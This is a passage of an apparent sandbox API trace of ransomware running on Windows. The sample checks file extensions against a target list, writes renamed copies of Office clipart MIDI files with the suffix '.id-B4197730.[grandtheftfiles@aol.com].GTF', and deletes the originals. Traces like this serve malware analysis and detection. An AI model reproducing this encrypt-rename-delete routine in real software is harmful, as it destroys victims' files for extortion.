	[0164.031] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0164.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68
	[0164.031] lstrlenW (lpString=".1cd") returned 4
	[0164.031] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0164.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68
	[0164.031] lstrlenW (lpString=".jpg") returned 4
	[0164.031] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0164.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68
	[0164.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68
	[0164.031] lstrlenW (lpString=".doc") returned 4
	[0164.031] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0164.031] lstrlenW (lpString=".docx") returned 5
	[0164.032] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0164.032] lstrlenW (lpString=".pdf") returned 4
	[0164.032] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0164.032] lstrlenW (lpString=".xls") returned 4
	[0164.032] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0164.032] lstrlenW (lpString=".xlsx") returned 5
	[0164.032] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0164.032] lstrlenW (lpString=".ppt") returned 4
	[0164.032] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0164.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68
	[0164.032] lstrlenW (lpString=".zip") returned 4
	[0164.032] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0164.032] lstrlenW (lpString=".rar") returned 4
	[0164.032] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0164.032] lstrlenW (lpString=".bz2") returned 4
	[0164.032] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0164.032] lstrlenW (lpString=".7z") returned 3
	[0164.032] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0164.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68
	[0164.032] lstrlenW (lpString=".dbf") returned 4
	[0164.032] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0164.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68
	[0164.032] lstrlenW (lpString=".1cd") returned 4
	[0164.032] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0164.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68
	[0164.032] lstrlenW (lpString=".jpg") returned 4
	[0164.032] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0164.032] lstrcmpiW (lpString1=".MID", lpString2=".GTF") returned 1
	[0164.032] lstrlenW (lpString="NBOOK_01.MID") returned 12
	[0164.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0164.056] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=5968) returned 1
	[0164.056] CloseHandle (hObject=0x540) returned 1
	[0164.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid")) returned 0x220
	[0164.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0164.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0164.058] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.058] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0164.059] GetLastError () returned 0x0
	[0164.059] ReadFile (in: hFile=0x540, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x1750, lpOverlapped=0x0) returned 1
	[0164.061] WriteFile (in: hFile=0x43c, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x1760, lpOverlapped=0x0) returned 1
	[0164.062] ReadFile (in: hFile=0x540, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.062] WriteFile (in: hFile=0x43c, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0xec, lpOverlapped=0x0) returned 1
	[0164.062] SetEndOfFile (hFile=0x43c) returned 1
	[0164.062] CloseHandle (hObject=0x43c) returned 1
	[0164.062] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.062] SetEndOfFile (hFile=0x540) returned 1
	[0164.065] CloseHandle (hObject=0x540) returned 1
	[0164.066] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0164.066] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid")) returned 1
	[0164.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68
	[0164.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68
	[0164.067] lstrlenW (lpString=".doc") returned 4
	[0164.067] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0164.067] lstrlenW (lpString=".docx") returned 5
	[0164.067] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0164.067] lstrlenW (lpString=".pdf") returned 4
	[0164.067] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0164.067] lstrlenW (lpString=".xls") returned 4
	[0164.067] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0164.067] lstrlenW (lpString=".xlsx") returned 5
	[0164.067] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0164.067] lstrlenW (lpString=".ppt") returned 4
	[0164.067] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0164.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68
	[0164.067] lstrlenW (lpString=".zip") returned 4
	[0164.067] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0164.067] lstrlenW (lpString=".rar") returned 4
	[0164.067] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0164.067] lstrlenW (lpString=".bz2") returned 4
	[0164.067] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0164.067] lstrlenW (lpString=".7z") returned 3
	[0164.067] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0164.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68
	[0164.067] lstrlenW (lpString=".dbf") returned 4
	[0164.067] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0164.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68
	[0164.067] lstrlenW (lpString=".1cd") returned 4
	[0164.067] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0164.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68
	[0164.067] lstrlenW (lpString=".jpg") returned 4
	[0164.067] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0164.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68
	[0164.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68
	[0164.067] lstrlenW (lpString=".doc") returned 4
	[0164.067] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0164.068] lstrlenW (lpString=".docx") returned 5
	[0164.068] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0164.068] lstrlenW (lpString=".pdf") returned 4
	[0164.068] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0164.068] lstrlenW (lpString=".xls") returned 4
	[0164.068] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0164.068] lstrlenW (lpString=".xlsx") returned 5
	[0164.068] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0164.068] lstrlenW (lpString=".ppt") returned 4
	[0164.068] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0164.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68
	[0164.068] lstrlenW (lpString=".zip") returned 4
	[0164.068] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0164.068] lstrlenW (lpString=".rar") returned 4
	[0164.068] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0164.068] lstrlenW (lpString=".bz2") returned 4
	[0164.068] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0164.068] lstrlenW (lpString=".7z") returned 3
	[0164.068] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0164.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68
	[0164.068] lstrlenW (lpString=".dbf") returned 4
	[0164.068] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0164.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68
	[0164.068] lstrlenW (lpString=".1cd") returned 4
	[0164.068] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0164.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68
	[0164.068] lstrlenW (lpString=".jpg") returned 4
	[0164.068] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0164.068] lstrcmpiW (lpString1=".MID", lpString2=".GTF") returned 1
	[0164.068] lstrlenW (lpString="OCEAN_01.MID") returned 12
	[0164.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0164.069] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=5440) returned 1
	[0164.069] CloseHandle (hObject=0x540) returned 1
	[0164.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid")) returned 0x220
	[0164.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0164.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0164.070] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.070] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0164.070] GetLastError () returned 0x0
	[0164.070] ReadFile (in: hFile=0x540, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x1540, lpOverlapped=0x0) returned 1
	[0164.072] WriteFile (in: hFile=0x43c, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x1550, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x1550, lpOverlapped=0x0) returned 1
	[0164.073] ReadFile (in: hFile=0x540, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.073] WriteFile (in: hFile=0x43c, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0xec, lpOverlapped=0x0) returned 1
	[0164.073] SetEndOfFile (hFile=0x43c) returned 1
	[0164.073] CloseHandle (hObject=0x43c) returned 1
	[0164.073] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.073] SetEndOfFile (hFile=0x540) returned 1
	[0164.077] CloseHandle (hObject=0x540) returned 1
	[0164.077] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0164.078] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid")) returned 1
	[0164.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68
	[0164.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68
	[0164.078] lstrlenW (lpString=".doc") returned 4
	[0164.078] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0164.078] lstrlenW (lpString=".docx") returned 5
	[0164.078] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0164.078] lstrlenW (lpString=".pdf") returned 4
	[0164.079] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0164.079] lstrlenW (lpString=".xls") returned 4
	[0164.079] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0164.079] lstrlenW (lpString=".xlsx") returned 5
	[0164.079] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0164.079] lstrlenW (lpString=".ppt") returned 4
	[0164.079] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0164.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68
	[0164.079] lstrlenW (lpString=".zip") returned 4
	[0164.079] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0164.079] lstrlenW (lpString=".rar") returned 4
	[0164.079] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0164.079] lstrlenW (lpString=".bz2") returned 4
	[0164.079] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0164.079] lstrlenW (lpString=".7z") returned 3
	[0164.079] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0164.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68
	[0164.079] lstrlenW (lpString=".dbf") returned 4
	[0164.079] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0164.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68
	[0164.079] lstrlenW (lpString=".1cd") returned 4
	[0164.079] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0164.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68
	[0164.079] lstrlenW (lpString=".jpg") returned 4
	[0164.079] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0164.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68
	[0164.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68
	[0164.079] lstrlenW (lpString=".doc") returned 4
	[0164.079] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0164.079] lstrlenW (lpString=".docx") returned 5
	[0164.079] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0164.079] lstrlenW (lpString=".pdf") returned 4
	[0164.079] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0164.079] lstrlenW (lpString=".xls") returned 4
	[0164.079] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0164.079] lstrlenW (lpString=".xlsx") returned 5
	[0164.079] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0164.080] lstrlenW (lpString=".ppt") returned 4
	[0164.080] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0164.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68
	[0164.080] lstrlenW (lpString=".zip") returned 4
	[0164.080] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0164.080] lstrlenW (lpString=".rar") returned 4
	[0164.080] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0164.080] lstrlenW (lpString=".bz2") returned 4
	[0164.080] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0164.080] lstrlenW (lpString=".7z") returned 3
	[0164.080] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0164.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68
	[0164.080] lstrlenW (lpString=".dbf") returned 4
	[0164.080] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0164.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68
	[0164.080] lstrlenW (lpString=".1cd") returned 4
	[0164.080] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0164.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68
	[0164.080] lstrlenW (lpString=".jpg") returned 4
	[0164.080] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0164.080] lstrcmpiW (lpString1=".MID", lpString2=".GTF") returned 1
	[0164.080] lstrlenW (lpString="OUTDR_01.MID") returned 12
	[0164.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0164.081] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=6644) returned 1
	[0164.081] CloseHandle (hObject=0x540) returned 1
	[0164.081] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid")) returned 0x220
	[0164.082] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0164.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0164.082] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.082] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0164.083] GetLastError () returned 0x0
	[0164.083] ReadFile (in: hFile=0x540, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x19f4, lpOverlapped=0x0) returned 1
	[0164.084] WriteFile (in: hFile=0x43c, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x1a00, lpOverlapped=0x0) returned 1
	[0164.085] ReadFile (in: hFile=0x540, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.085] WriteFile (in: hFile=0x43c, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0xec, lpOverlapped=0x0) returned 1
	[0164.085] SetEndOfFile (hFile=0x43c) returned 1
	[0164.086] CloseHandle (hObject=0x43c) returned 1
	[0164.086] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.086] SetEndOfFile (hFile=0x540) returned 1
	[0164.088] CloseHandle (hObject=0x540) returned 1
	[0164.089] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0164.089] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid")) returned 1
	[0164.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68
	[0164.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68
	[0164.089] lstrlenW (lpString=".doc") returned 4
	[0164.089] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0164.089] lstrlenW (lpString=".docx") returned 5
	[0164.089] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0164.089] lstrlenW (lpString=".pdf") returned 4
	[0164.089] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0164.089] lstrlenW (lpString=".xls") returned 4
	[0164.089] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0164.090] lstrlenW (lpString=".xlsx") returned 5
	[0164.090] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0164.090] lstrlenW (lpString=".ppt") returned 4
	[0164.090] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0164.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68
	[0164.090] lstrlenW (lpString=".zip") returned 4
	[0164.090] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0164.090] lstrlenW (lpString=".rar") returned 4
	[0164.090] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0164.090] lstrlenW (lpString=".bz2") returned 4
	[0164.090] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0164.090] lstrlenW (lpString=".7z") returned 3
	[0164.090] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
